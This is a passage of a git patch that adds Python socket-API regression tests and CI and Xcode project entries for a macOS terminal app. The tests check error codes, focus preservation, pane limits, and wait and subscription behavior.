NSPOSIXErrorDomain, code: Int(code)) + } + return fd + } +} +#endif diff --git a/tests_v2/ci_subset.txt b/tests_v2/ci_subset.txt index 5c91ddcf5..76c445b11 100644 --- a/tests_v2/ci_subset.txt +++ b/tests_v2/ci_subset.txt @@ -43,3 +43,10 @@ test_terminal_close_undo.py test_mcp_server_e2e.py test_opencode_install_integration.py test_tmux_compat_matrix.py +# SOCK-30 socket fix sweep. Left out (timing/focus/render dependent): test_socket_limits_and_focus_sweep.py +# (focus + browser panel), test_browser_wait_function_page_world.py (WebKit load timing), +# test_suspended_subscriber_does_not_block_server.py (kernel socket-buffer behavior, 2000-call flood). +test_socket_error_contract_sweep.py +test_layout_save_targets_workspace_id.py +test_surface_wait_exit_on_close.py +test_surface_resolve_tty_and_agent_spawn_pane.py diff --git a/tests_v2/test_browser_wait_function_page_world.py b/tests_v2/test_browser_wait_function_page_world.py new file mode 100644 index 000000000..3998dcbf5 --- /dev/null +++ b/tests_v2/test_browser_wait_function_page_world.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python3 +"""browser.wait with `function` sees a page-world flag set later by browser.eval (SOCK-30). + +The flag is set from a second client 1.5s after the wait starts; the wait must succeed rather +than time out. Depends on WebKit page-load timing, so it is not in ci_subset.txt. +""" + +import os +import sys +import threading +import time +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") +WAIT_MS = 8_000 + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + ws = "" + errors: list[Exception] = [] + with ProgramaClient(SOCKET_PATH) as a: + try: + ws = a.new_workspace() + a.select_workspace(ws) + time.sleep(0.4) + browser = a.open_browser("about:blank") + time.sleep(1.0) + + def _set_flag() -> None: + try: + time.sleep(1.5) + with ProgramaClient(SOCKET_PATH) as b: + b._call("browser.eval", {"surface_id": browser, "script": "window.appReady = true"}, timeout_s=10.0) + except Exception as exc: + errors.append(exc) + + t = threading.Thread(target=_set_flag) + t.start() + started = time.time() + a._call( + "browser.wait", + {"surface_id": browser, "function": "window.appReady===true", "timeout_ms": WAIT_MS}, + timeout_s=WAIT_MS / 1000.0 + 10.0, + ) + elapsed = time.time() - started + t.join() + _must(not errors, f"flag setter failed: {errors}") + _must(elapsed >= 1.0, f"wait returned in {elapsed:.2f}s, before the flag was set") + finally: + if ws: + try: + a.close_workspace(ws) + except Exception: + pass + + print("PASS: browser.wait function observed the flag set by browser.eval") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_layout_save_targets_workspace_id.py b/tests_v2/test_layout_save_targets_workspace_id.py new file mode 100644 index 000000000..70fd68144 --- /dev/null +++ b/tests_v2/test_layout_save_targets_workspace_id.py @@ -0,0 +1,77 @@ +#!/usr/bin/env python3 +"""layout.save honors workspace_id: saving a non-selected workspace saves THAT workspace (SOCK-30). + +The target workspace has two panes and the selected one has one, so a save of the wrong +workspace produces a layout with the wrong pane count. +""" + +import json +import os +import sys +import time +import uuid +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") + + +def _count_panes(node) -> int: + if isinstance(node, dict): + if "pane" in node and isinstance(node["pane"], dict): + return 1 + if "surfaces" in node and "children" not in node and "split" not in node: + return 1 + return sum(_count_panes(v) for v in node.values()) + if isinstance(node, list): + return sum(_count_panes(v) for v in node) + return 0 + + +def main() -> int: + name = f"test_save_target_{uuid.uuid4().hex[:8]}" + created: list[str] = [] + saved_path = None + with ProgramaClient(SOCKET_PATH) as c: + try: + target = c.new_workspace() + created.append(target) + c.select_workspace(target) + time.sleep(0.3) + c.new_split("right") + time.sleep(0.3) + selected = c.new_workspace() + created.append(selected) + c.select_workspace(selected) + time.sleep(0.3) + _must(c.current_workspace() == selected, "fixture: selected workspace not selected") + + res = c._call("layout.save", {"name": name, "workspace_id": target, "force": True}, timeout_s=15.0) or {} + saved_path = res.get("path") + _must(bool(saved_path) and os.path.exists(saved_path), f"layout.save returned no readable path: {res}") + with open(saved_path) as fh: + layout = json.load(fh) + panes = _count_panes(layout) + _must(panes == 2, f"saved layout should be the 2-pane target workspace, got {panes} panes: {layout}") + _must(c.current_workspace() == selected, "layout.save changed the selected workspace") + finally: + for w in created: + try: + c.close_workspace(w) + except Exception: + pass + if saved_path: + try: + os.unlink(saved_path) + except OSError: + pass + + print("PASS: layout.save saved the requested non-selected workspace") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_socket_error_contract_sweep.py b/tests_v2/test_socket_error_contract_sweep.py new file mode 100644 index 000000000..e5805f94f --- /dev/null +++ b/tests_v2/test_socket_error_contract_sweep.py @@ -0,0 +1,109 @@ +#!/usr/bin/env python3 +"""Socket error-code contract sweep (SOCK-30): typed errors, and no side effects on failure. + +Callers branch on the error code, so each case pins the code: + - workspace.close with an unknown ref -> not_found + - workspace.close on a window's last workspace -> invalid_state (workspace survives) + - notification.create_for_surface, closed surface -> not_found + - surface.focus, unknown id -> not_found, selection unchanged; malformed id -> invalid_params + - markdown.open /dev/zero (device, would never finish reading) -> invalid_params + - browser.state.load with a relative path -> invalid_params + - browser.open_split with an unparseable URL -> invalid_params +""" + +import os +import sys +import time +import uuid +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") + + +def _expect_code(c: ProgramaClient, code: str, method: str, params: dict) -> str: + try: + c._call(method, params) + except ProgramaClientError as error: + _must(code in str(error), f"{method} {params!r}: expected {code}, got {error}") + return str(error) + raise ProgramaClientError(f"{method} {params!r}: expected {code}, but the call succeeded") + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + created_window = None + created_workspaces: list[str] = [] + with ProgramaClient(SOCKET_PATH) as c: + try: + # 2. unknown workspace ref + _expect_code(c, "not_found", "workspace.close", {"workspace_id": "workspace:999"}) + + # 3. last workspace of a window. A fresh window has exactly one workspace. + created_window = c.new_window() + time.sleep(0.5) + rows = c.list_workspaces(window_id=created_window) + _must(len(rows) == 1, f"expected a fresh window to hold 1 workspace, got {rows}") + only_ws = rows[0][1] + _expect_code(c, "invalid_state", "workspace.close", {"workspace_id": only_ws, "window_id": created_window}) + rows_after = c.list_workspaces(window_id=created_window) + _must([r[1] for r in rows_after] == [only_ws], f"last workspace must survive: {rows_after}") + c.close_window(created_window) + created_window = None + time.sleep(0.3) + + # Fixtures for the rest: a workspace with a second surface, then close that surface. + ws = c.new_workspace() + created_workspaces.append(ws) + c.select_workspace(ws) + time.sleep(0.3) + extra = c.new_split("right") + time.sleep(0.3) + c.close_surface(extra) + time.sleep(0.3) + + # 7. notify a closed surface + _expect_code(c, "not_found", "notification.create_for_surface", + {"surface_id": extra, "title": "t", "workspace_id": ws}) + + # 8. surface.focus: bad id is not_found with no selection change; malformed is invalid_params + window_before = c.current_window() + ws_before = c.current_workspace() + _expect_code(c, "not_found", "surface.focus", {"surface_id": str(uuid.uuid4())}) + _must(c.current_window() == window_before, "surface.focus failure changed the selected window") + _must(c.current_workspace() == ws_before, "surface.focus failure changed the selected workspace") + _expect_code(c, "invalid_params", "surface.focus", {"surface_id": "not-a-uuid"}) + + # 9. device file + _expect_code(c, "invalid_params", "markdown.open", {"path": "/dev/zero"}) + + # 10. relative path + _expect_code(c, "invalid_params", "browser.state.load", {"path": "relative/state.json"}) + + # 11. unparseable URL (unterminated IPv6 literal) + before = len(c.list_surfaces()) + _expect_code(c, "invalid_params", "browser.open_split", {"url": "http://[::1"}) + _must(len(c.list_surfaces()) == before, "failed browser.open_split must not create a surface") + finally: + if created_window: + try: + c.close_window(created_window) + except Exception: + pass + for w in created_workspaces: + try: + c.close_workspace(w) + except Exception: + pass + + print("PASS: socket error contract sweep") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_socket_limits_and_focus_sweep.py b/tests_v2/test_socket_limits_and_focus_sweep.py new file mode 100644 index 000000000..6a9f1346b --- /dev/null +++ b/tests_v2/test_socket_limits_and_focus_sweep.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +"""Socket commands must not steal focus and must report the pane cap as a typed error (SOCK-30). + + 1. pane.list's focused pane is unchanged after surface.split, tab.action duplicate and + browser.open_split (socket commands never move focus unless they are focus commands). + 4. A split past the cap returns limit_reached with data.max_panes == 4 (surface.split, pane.create). + 5. browser.tab.close with an out-of-range index errors and the focused tab survives. +""" + +import os +import sys +import time +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") +MAX_PANES = 4 + + +def _focused_pane(c: ProgramaClient) -> str: + rows = [r for r in c.list_panes() if r[3]] + _must(len(rows) == 1, f"expected exactly one focused pane, got {c.list_panes()}") + return rows[0][1] + + +def _expect_limit(c: ProgramaClient, method: str, params: dict) -> None: + try: + c._call(method, params) + except ProgramaClientError as error: + text = str(error) + _must("limit_reached" in text, f"{method}: expected limit_reached, got {text}") + _must("max_panes" in text and f"{MAX_PANES}" in text, f"{method}: expected data.max_panes == {MAX_PANES}, got {text}") + return + raise ProgramaClientError(f"{method} past the pane cap unexpectedly succeeded") + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + ws = "" + with ProgramaClient(SOCKET_PATH) as c: + try: + ws = c.new_workspace() + c.select_workspace(ws) + time.sleep(0.4) + focused = _focused_pane(c) + focused_surface = c.current_workspace() # selection sanity anchor + _must(focused_surface == ws, "fixture workspace is not selected") + + # 1. focus preservation across non-focus commands + c.new_split("right") + time.sleep(0.3) + _must(_focused_pane(c) == focused, "surface.split moved the focused pane") + + sid = c.list_surfaces()[0][1] + c._call("tab.action", {"action": "duplicate", "surface_id": sid}) + time.sleep(0.3) + _must(_focused_pane(c) == focused, "tab.action duplicate moved the focused pane") + + # 5. browser tab close with a bad index (done while a browser tab exists) + browser_id = c.open_browser("about:blank") + time.sleep(0.5) + _must(_focused_pane(c) == focused, "browser.open_split moved the focused pane") + surfaces_before = [s[1] for s in c.list_surfaces()] + try: + c._call("browser.tab.close", {"index": 99}) + except ProgramaClientError: + pass + else: + raise ProgramaClientError("browser.tab.close --index 99 unexpectedly succeeded") + _must([s[1] for s in c.list_surfaces()] == surfaces_before, "failed browser.tab.close removed a surface") + _must(browser_id in surfaces_before, "browser tab missing after failed close") + + # 4. pane cap, on a fresh workspace so the count is exact + ws2 = c.new_workspace() + c.select_workspace(ws2) + time.sleep(0.4) + for i in range(MAX_PANES - 1): + c.new_split("right" if i % 2 == 0 else "down") + time.sleep(0.3) + _must(len(c.list_panes()) == MAX_PANES, f"expected {MAX_PANES} panes, got {c.list_panes()}") + _expect_limit(c, "surface.split", {"direction": "right"}) + _expect_limit(c, "pane.create", {"direction": "right", "type": "terminal"}) + _must(len(c.list_panes()) == MAX_PANES, "refused split changed the pane count") + c.close_workspace(ws2) + finally: + if ws: + try: + c.close_workspace(ws) + except Exception: + pass + + print("PASS: focus preserved, pane cap typed, bad browser tab index rejected") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py b/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py new file mode 100644 index 000000000..f2908aa39 --- /dev/null +++ b/tests_v2/test_surface_resolve_tty_and_agent_spawn_pane.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +"""surface.resolve_tty and agent.spawn pane identity (SOCK-30). + +resolve_tty: a known tty (as /dev/ttysNNN or bare ttysNNN) resolves to exactly that surface and +returns only its ids (no `terminals` list); an unknown tty is not_found; a missing tty is +invalid_params. The tty is attached with surface.report_tty and read back through +debug.terminals (Debug builds only, which is what CI runs). + +agent.spawn: pane_id equals the pane pane/surface listing reports for the returned surface_id. +""" + +import os +import sys +import time +import uuid +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must, wait_until + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") + + +def _expect_code(c: ProgramaClient, code: str, method: str, params: dict) -> None: + try: + c._call(method, params) + except ProgramaClientError as error: + _must(code in str(error), f"{method} {params!r}: expected {code}, got {error}") + return + raise ProgramaClientError(f"{method} {params!r}: expected {code}, but it succeeded") + + +def _tty_of(c: ProgramaClient, surface_id: str) -> str | None: + rows = (c._call("debug.terminals", {}) or {}).get("terminals") or [] + for row in rows: + if row.get("surface_id") == surface_id: + return row.get("tty") + return None + + +def _test_resolve_tty(c: ProgramaClient, ws: str, surface: str) -> None: + tty = "ttys" + str(int(uuid.uuid4().int % 900000) + 100000) + c._call("surface.report_tty", {"workspace_id": ws, "surface_id": surface, "tty_name": tty}) + wait_until(lambda: _tty_of(c, surface) == tty, timeout_s=5.0, message="tty never appeared in debug.terminals") + + for form in (f"/dev/{tty}", tty): + res = c._call("surface.resolve_tty", {"tty": form}) or {} + _must(res.get("workspace_id") == ws, f"tty {form!r}: wrong workspace in {res}") + _must(res.get("surface_id") == surface, f"tty {form!r}: wrong surface in {res}") + _must("terminals" not in res, f"resolve_tty must not leak the terminal list: {res}") + + _expect_code(c, "not_found", "surface.resolve_tty", {"tty": "ttys" + "9" * 9}) + _expect_code(c, "invalid_params", "surface.resolve_tty", {}) + + +def _test_agent_spawn_pane(c: ProgramaClient, parent_ws: str) -> None: + spawned_ws = "" + agent_id = "" + try: + res = c._call("agent.spawn", {"parent_workspace_id": parent_ws, "task": "sock30 pane check"}, timeout_s=20.0) or {} + spawned_ws = str(res.get("workspace_id") or "") + agent_id = str(res.get("agent_id") or "") + surface_id = res.get("surface_id") + pane_id = res.get("pane_id") + _must(bool(pane_id) and bool(res.get("pane_ref")), f"agent.spawn result lacks pane_id/pane_ref: {res}") + _must(bool(surface_id), f"agent.spawn result lacks surface_id: {res}") + rows = (c._call("surface.list", {"workspace_id": spawned_ws}) or {}).get("surfaces") or [] + row = next((r for r in rows if r.get("id") == surface_id), None) + _must(row is not None, f"spawned surface missing from surface.list: {rows}") + _must(row.get("pane_id") == pane_id, f"pane_id {pane_id} != listed pane {row.get('pane_id')}") + finally: + if agent_id: + try: + c._call("agent.task.finish", {"agent_id": agent_id, "state": "cancelled"}) + except Exception: + pass + if spawned_ws: + try: + c.close_workspace(spawned_ws) + except Exception: + pass + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + ws = "" + with ProgramaClient(SOCKET_PATH) as c: + try: + ws = c.new_workspace() + c.select_workspace(ws) + time.sleep(0.4) + surface = c.list_surfaces()[0][1] + _test_resolve_tty(c, ws, surface) + _test_agent_spawn_pane(c, ws) + finally: + if ws: + try: + c.close_workspace(ws) + except Exception: + pass + + print("PASS: surface.resolve_tty and agent.spawn pane identity") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_surface_wait_exit_on_close.py b/tests_v2/test_surface_wait_exit_on_close.py new file mode 100644 index 000000000..6ef1b90d0 --- /dev/null +++ b/tests_v2/test_surface_wait_exit_on_close.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +"""surface.wait --exit ends promptly with outcome "closed" when the surface is closed (SOCK-30). + +A waiter must not pin its connection until the timeout once its surface is gone. The close +comes from a second client (own connection), and the waiting client's read timeout has +headroom over the server-side timeout under test. +""" + +import os +import sys +import threading +import time +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") +SERVER_TIMEOUT_MS = 20_000 +MAX_AFTER_CLOSE_S = 2.0 + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + ws = "" + closed_at: list[float] = [] + errors: list[Exception] = [] + with ProgramaClient(SOCKET_PATH) as a: + try: + ws = a.new_workspace() + a.select_workspace(ws) + time.sleep(0.4) + surface = a.new_split("right") + time.sleep(0.4) + + def _close_later() -> None: + try: + time.sleep(0.8) + with ProgramaClient(SOCKET_PATH) as b: + closed_at.append(time.time()) + b._call("surface.close", {"workspace_id": ws, "surface_id": surface}) + except Exception as exc: # surfaced below + errors.append(exc) + + t = threading.Thread(target=_close_later) + t.start() + result = a._call( + "surface.wait", + {"workspace_id": ws, "surface_id": surface, "exit": True, "timeout_ms": SERVER_TIMEOUT_MS}, + timeout_s=SERVER_TIMEOUT_MS / 1000.0 + 10.0, + ) or {} + returned_at = time.time() + t.join() + _must(not errors, f"closer failed: {errors}") + _must(result.get("outcome") == "closed", f"expected outcome=closed, got {result}") + _must(closed_at, "closer never ran") + lag = returned_at - closed_at[0] + _must(lag <= MAX_AFTER_CLOSE_S, f"wait returned {lag:.2f}s after the close (limit {MAX_AFTER_CLOSE_S}s)") + finally: + if ws: + try: + a.close_workspace(ws) + except Exception: + pass + + print("PASS: surface.wait exit returns outcome=closed promptly after the surface closes") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests_v2/test_suspended_subscriber_does_not_block_server.py b/tests_v2/test_suspended_subscriber_does_not_block_server.py new file mode 100644 index 000000000..db489b606 --- /dev/null +++ b/tests_v2/test_suspended_subscriber_does_not_block_server.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +"""A subscriber that stops reading must not block other clients (SOCK-30). + +The subscriber connects, subscribes, then never reads while a driver connection floods it +with agent_state events. Other clients must still get answers within 10s, and the subscriber's +own `unsubscribe` must be accepted once it reads again or be survivable by the server. +Each sender uses its own connection; client timeouts exceed the 10s bound under test. +""" + +import json +import os +import socket +import sys +import time +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent)) +from programa_client import ProgramaClient, ProgramaClientError +from v2_support import must as _must + +SOCKET_PATH = os.environ.get("PROGRAMA_SOCKET", "/tmp/programa-debug.sock") +BOUND_S = 10.0 +CLIENT_TIMEOUT_S = 25.0 +FLOOD_EVENTS = 2000 + + +def main() -> int: + for var in ("PROGRAMA_WORKSPACE_ID", "PROGRAMA_SURFACE_ID", "PROGRAMA_PANEL_ID", "PROGRAMA_TAB_ID"): + os.environ.pop(var, None) + + ws = "" + with ProgramaClient(SOCKET_PATH) as driver: + try: + ws = driver.new_workspace() + driver.select_workspace(ws) + time.sleep(0.4) + surface = driver.list_surfaces()[0][1] + + with ProgramaClient(SOCKET_PATH) as sub: + sub._call("subscribe", {"classes": ["agent_state"]}, timeout_s=10.0) + # Tiny receive buffer so the kernel queue fills fast; the subscriber never reads. + sub._socket.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1024) + + states = ("working", "idle") + for i in range(FLOOD_EVENTS): + driver._call( + "surface.report_agent_state", + {"workspace_id": ws, "surface_id": surface, "state": states[i % 2]}, + timeout_s=CLIENT_TIMEOUT_S, + ) + + started = time.time() + with ProgramaClient(SOCKET_PATH) as other: + other._call("system.ping", {}, timeout_s=CLIENT_TIMEOUT_S) + other._call("workspace.list", {}, timeout_s=CLIENT_TIMEOUT_S) + elapsed = time.time() - started + _must(elapsed < BOUND_S, f"other client waited {elapsed:.1f}s behind a suspended subscriber") + + started = time.time() + driver._call( + "surface.report_agent_state", + {"workspace_id": ws, "surface_id": surface, "state": "working"}, + timeout_s=CLIENT_TIMEOUT_S, + ) + elapsed = time.time() - started + _must(elapsed < BOUND_S, f"state report blocked {elapsed:.1f}s behind a suspended subscriber") + + # The subscriber's own unsubscribe: send it, then drain frames until its reply. + sub._socket.sendall((json.dumps({"id": 99999, "method": "unsubscribe", "params": {}}) + "\n").encode()) + deadline = time.time() + BOUND_S + answered = False + while time.time() < deadline and not answered: + try: + frame = json.loads(sub._recv_line(timeout_s=max(0.5, deadline - time.time()))) + except ProgramaClientError: + # Server dropped the slow consumer: acceptable, the point is it did not hang. + answered = True + break + answered = isinstance(frame, dict) and frame.get("id") == 99999 + _must(answered, "unsubscribe from the suspended subscriber never completed within 10s") + finally: + if ws: + try: + driver.close_workspace(ws) + except Exception: + pass + + print("PASS: suspended subscriber does not block other clients") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) From ff88eee35648fed1202c9b2d9ee00895b3747a2d Mon Sep 17 00:00:00 2001 From: arzafran Date: Thu, 1 Oct 2026 12:31:45 -0300 Subject: [PATCH 08/21] test: add regression tests for window close, escrow fds, trust, CLI consent, and socket errors --- .github/workflows/ci.yml | 25 ++ GhosttyTabs.xcodeproj/project.pbxproj | 16 ++ .../ConfigFixSweepRegressionTests.swift | 217 ++++++++++++++++++ .../EscrowFDPassingRegressionTests.swift | 130 +++++++++++ ...WorkspaceFixSweepWKSPRegressionTests.swift | 50 ++++ .../WindowCloseConfirmCancelUITests.swift | 95 ++++++++ ...t_cli_noninteractive_install_regression.py | 67 ++++++ ..._cli_socket_no_autodiscovery_regression.py | 128 +++++++++++ tests_v2/ci_subset.txt | 1 + tests_v2/test_socket_error_contract_sweep.py | 109 +++++++++ 10 files changed, 838 insertions(+) create mode 100644 programaTests/ConfigFixSweepRegressionTests.swift create mode 100644 programaTests/EscrowFDPassingRegressionTests.swift create mode 100644 programaTests/WorkspaceFixSweepWKSPRegressionTests.swift create mode 100644 programaUITests/WindowCloseConfirmCancelUITests.swift create mode 100644 tests/test_cli_noninteractive_install_regression.py create mode 100644 tests/test_cli_socket_no_autodiscovery_regression.py create mode 100644 tests_v2/test_socket_error_contract_sweep.py diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index befdc8b76..a34fb76b3 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -674,6 +674,18 @@ jobs: PROGRAMA_CLI_BIN="$CLI_BIN" python3 tests/test_cli_codex_hook_trust.py + - name: Run CLI consent and socket discovery regressions + if: ${{ !cancelled() && steps.cli-build.outcome == 'success' }} + run: | + set -euo pipefail + CLI_BIN="$RUNNER_TEMP/programa-cli-regression/Debug/programa" + test -x "$CLI_BIN" + result=0 + for t in tests/test_cli_noninteractive_install_regression.py tests/test_cli_socket_no_autodiscovery_regression.py; do + PROGRAMA_CLI_BIN="$CLI_BIN" python3 "$t" || result=1 + done + exit "$result" + - name: Run hook confirmation EOF regressions if: ${{ !cancelled() && steps.cli-build.outcome == 'success' }} run: | @@ -1389,6 +1401,19 @@ jobs: -only-testing:programaUITests/MultiWindowNotificationsUITests/testNotifyCLIDoesNotStealFocusAcrossWindows \ test-without-building + - name: Run window close Cancel UI regression + run: | + set -euo pipefail + SOURCE_PACKAGES_DIR="$PWD/.ci-source-packages" + xcodebuild -project GhosttyTabs.xcodeproj -scheme programa -configuration Debug \ + -clonedSourcePackagesDirPath "$SOURCE_PACKAGES_DIR" \ + -disableAutomaticPackageResolution \ + -derivedDataPath "$PROGRAMA_DERIVED_DATA_DIR" \ + -destination "platform=macOS" \ + -maximum-test-execution-time-allowance 180 \ + -only-testing:programaUITests/WindowCloseConfirmCancelUITests \ + test-without-building + - name: Dump notification regression diagnostics if: failure() run: | diff --git a/GhosttyTabs.xcodeproj/project.pbxproj b/GhosttyTabs.xcodeproj/project.pbxproj index cf966b134..4282f1942 100644 --- a/GhosttyTabs.xcodeproj/project.pbxproj +++ b/GhosttyTabs.xcodeproj/project.pbxproj @@ -290,6 +290,7 @@ B900001AA1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */; }; B9000023A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */; }; B9000025A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */; }; + BEEF50100000000000000003 /* WindowCloseConfirmCancelUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */; }; D0E0F0B0A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D0E0F0B1A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift */; }; D0E0F0B2A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D0E0F0B3A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift */; }; E1000000A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift in Sources */ = {isa = PBXBuildFile; fileRef = E1000001A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift */; }; @@ -298,6 +299,9 @@ F3000000A1B2C3D4E5F60718 /* CJKIMEInputTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */; }; F4000000A1B2C3D4E5F60718 /* GhosttyConfigTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */; }; F5000000A1B2C3D4E5F60718 /* SessionPersistenceTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */; }; + BEEF5040A1B2C3D4E5F60003 /* ConfigFixSweepRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5040A1B2C3D4E5F60004 /* ConfigFixSweepRegressionTests.swift */; }; + BEEF50200000000000000004 /* WorkspaceFixSweepWKSPRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF50200000000000000003 /* WorkspaceFixSweepWKSPRegressionTests.swift */; }; + BEEF5050000000000000A003 /* EscrowFDPassingRegressionTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = BEEF5050000000000000A004 /* EscrowFDPassingRegressionTests.swift */; }; RRPL0002A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = RRPL0001A1B2C3D4E5F60718 /* RendererRealizationPlannerTests.swift */; }; 3C03A46E60CFD11D198C9504 /* SessionAutosaveCoordinatorTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = D3F772E2747D24AE2FAAC541 /* SessionAutosaveCoordinatorTests.swift */; }; SWCT000001A1B2C3D4E5F607 /* SessionWALCoreTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = SWCT000002A1B2C3D4E5F607 /* SessionWALCoreTests.swift */; }; @@ -699,6 +703,7 @@ B9000019A1B2C3D4E5F60719 /* CloseWorkspaceConfirmDialogUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWorkspaceConfirmDialogUITests.swift; sourceTree = ""; }; B9000022A1B2C3D4E5F60719 /* CloseWorkspaceCmdDUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWorkspaceCmdDUITests.swift; sourceTree = ""; }; B9000026A1B2C3D4E5F60719 /* CloseWindowConfirmDialogUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CloseWindowConfirmDialogUITests.swift; sourceTree = ""; }; + BEEF50100000000000000004 /* WindowCloseConfirmCancelUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = WindowCloseConfirmCancelUITests.swift; sourceTree = ""; }; D0E0F0B1A1B2C3D4E5F60718 /* BrowserPaneNavigationKeybindUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserPaneNavigationKeybindUITests.swift; sourceTree = ""; }; D0E0F0B3A1B2C3D4E5F60718 /* BrowserOmnibarSuggestionsUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = BrowserOmnibarSuggestionsUITests.swift; sourceTree = ""; }; E1000001A1B2C3D4E5F60718 /* MenuKeyEquivalentRoutingUITests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = MenuKeyEquivalentRoutingUITests.swift; sourceTree = ""; }; @@ -708,6 +713,9 @@ F3000001A1B2C3D4E5F60718 /* CJKIMEInputTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CJKIMEInputTests.swift; sourceTree = ""; }; F4000001A1B2C3D4E5F60718 /* GhosttyConfigTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = GhosttyConfigTests.swift; sourceTree = ""; }; F5000001A1B2C3D4E5F60718 /* SessionPersistenceTests.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = 